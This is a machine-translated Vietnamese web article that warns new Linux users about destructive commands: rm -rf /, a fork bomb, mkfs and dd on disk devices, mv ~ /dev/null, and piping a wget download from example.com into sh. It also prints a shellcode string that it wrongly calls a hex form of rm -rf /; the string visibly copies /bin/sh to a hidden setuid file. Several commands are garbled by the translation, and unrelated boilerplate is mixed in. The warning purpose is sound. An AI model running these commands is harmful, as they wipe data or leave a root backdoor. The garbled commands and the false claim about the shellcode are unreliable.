8 lệnh chết người bạn không bao giờ nên chạy trên Linux

Mục lục:

8 lệnh chết người bạn không bao giờ nên chạy trên Linux
8 lệnh chết người bạn không bao giờ nên chạy trên Linux

Video: 8 lệnh chết người bạn không bao giờ nên chạy trên Linux

Video: 8 lệnh chết người bạn không bao giờ nên chạy trên Linux
Video: Cách đăng xuất tài khoản Google trên điện thoại Android - Mới Nhất - YouTube 2024, Tháng mười một
Anonim
Các lệnh đầu cuối của Linux rất mạnh và Linux sẽ không yêu cầu bạn xác nhận nếu bạn chạy một lệnh sẽ phá vỡ hệ thống của bạn. Nó không phải là không phổ biến để xem troll trực tuyến giới thiệu người dùng Linux mới chạy các lệnh này như một trò đùa.
Các lệnh đầu cuối của Linux rất mạnh và Linux sẽ không yêu cầu bạn xác nhận nếu bạn chạy một lệnh sẽ phá vỡ hệ thống của bạn. Nó không phải là không phổ biến để xem troll trực tuyến giới thiệu người dùng Linux mới chạy các lệnh này như một trò đùa.

Việc học các lệnh mà bạn không nên chạy có thể giúp bảo vệ bạn khỏi các troll trong khi tăng hiểu biết của bạn về cách thức hoạt động của Linux. Đây không phải là hướng dẫn đầy đủ và các lệnh ở đây có thể được phối lại theo nhiều cách khác nhau.

Lưu ý rằng nhiều lệnh trong số này sẽ chỉ nguy hiểm nếu chúng được bắt đầu bằng sudo trên Ubuntu - chúng sẽ không hoạt động. Trên các bản phân phối Linux khác, hầu hết các lệnh phải được chạy dưới dạng root.

rm -rf / - Xóa mọi thứ!

Lệnh rm-rf / xóa tất cả mọi thứ nó có thể có thể, bao gồm các tập tin trên ổ cứng của bạn và các tập tin trên các thiết bị truyền thông di động được kết nối. Lệnh này dễ hiểu hơn nếu nó bị hỏng:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux sẽ vui vẻ tuân lệnh này và xóa mọi thứ mà không nhắc bạn, vì vậy hãy cẩn thận khi sử dụng nó! Lệnh rm cũng có thể được sử dụng theo các cách nguy hiểm khác - rm –rf ~ sẽ xóa tất cả các tệp trong thư mục chính của bạn, trong khi rm -rf. * sẽ xóa tất cả các tệp cấu hình của bạn.

Bài học: Hãy coi chừng rm -rf.

Cải trang rm –rf /

Dưới đây là một đoạn mã khác trên web:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Đây là phiên bản hex của rm –rf / thực hiện lệnh này sẽ quét sạch các tệp của bạn giống như khi bạn chạy rm –rf /.

Bài học: Không chạy các lệnh rõ ràng, trông có vẻ lạ lùng mà bạn không hiểu.

: () {: |: &};: - Ném bom

Dòng sau là một hàm bash đơn giản nhưng nguy hiểm:

:(){:|: &};:

Dòng ngắn này định nghĩa một hàm shell tạo bản sao mới của chính nó. Quá trình liên tục sao chép chính nó, và các bản sao của nó liên tục tái tạo bản thân, nhanh chóng chiếm tất cả thời gian và bộ nhớ CPU của bạn. Điều này có thể khiến máy tính của bạn bị đóng băng. Về cơ bản nó là một cuộc tấn công từ chối dịch vụ.

Bài học: Các hàm Bash rất mạnh, thậm chí các hàm rất ngắn.

Image
Image

mkfs.ext4 / dev / sda1 - Định dạng ổ cứng

Các mkfs.ext4 / dev / sda1lệnh rất đơn giản để hiểu:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Kết hợp với nhau, lệnh này có thể tương đương với định dạng chạy c: trên Windows - nó sẽ xóa các tệp trên phân vùng đầu tiên của bạn và thay thế chúng bằng một hệ thống tệp mới.

Lệnh này cũng có thể có các dạng khác - mkfs.ext3 / dev / sdb2 sẽ định dạng phân vùng thứ hai trên ổ cứng thứ hai với hệ thống tệp ext3.

Bài học: Cẩn thận khi chạy các lệnh trực tiếp trên các thiết bị đĩa cứng bắt đầu bằng / dev / sd.

command> / dev / sda - Ghi trực tiếp vào ổ cứng

Các lệnh> / dev / sda dòng hoạt động tương tự - nó chạy một lệnh và gửi đầu ra của lệnh đó trực tiếp đến ổ cứng đầu tiên của bạn, ghi dữ liệu trực tiếp vào ổ đĩa cứng và làm hỏng hệ thống tệp của bạn.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Bài học: Như trên, hãy cẩn thận khi chạy các lệnh liên quan đến các thiết bị đĩa cứng bắt đầu bằng / dev / sd.

dd nếu = / dev / random = / dev / sda - Ghi dữ liệu vào ổ cứng

Các đ nếu = / dev / ngẫu nhiên = / dev / sda dòng cũng sẽ xóa dữ liệu trên một trong các ổ đĩa cứng của bạn.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Bài học: dd sao chép dữ liệu từ vị trí này sang vị trí khác, điều này có thể nguy hiểm nếu bạn đang sao chép trực tiếp vào thiết bị.

Image
Image

mv ~ / dev / null - Di chuyển thư mục chính của bạn đến một lỗ đen

/ dev / null là một vị trí đặc biệt khác - di chuyển cái gì đó đến / dev / null cũng giống như phá hủy nó. Hãy nghĩ về / dev / null như một lỗ đen. Bản chất, mv ~ / dev / null gửi tất cả các tệp cá nhân của bạn vào một lỗ đen.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Bài học: Ký tự ~ đại diện cho thư mục chính của bạn và di chuyển mọi thứ đến / dev / null phá hủy chúng.

wget https://example.com/something -O - | sh - Tải xuống và chạy tập lệnh

Dòng trên tải xuống một tập lệnh từ web và gửi nó tới sh, thực thi nội dung của tập lệnh. Điều này có thể nguy hiểm nếu bạn không chắc chắn kịch bản là gì hoặc nếu bạn không tin tưởng nguồn của tập lệnh đó - đừng chạy các tập lệnh không đáng tin cậy.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Bài học: Không tải xuống và chạy các tập lệnh không đáng tin cậy từ web, ngay cả khi có lệnh.

Biết bất kỳ lệnh nguy hiểm nào khác mà người dùng Linux mới (và có kinh nghiệm) không nên chạy? Để lại một bình luận và chia sẻ chúng!

Đề xuất: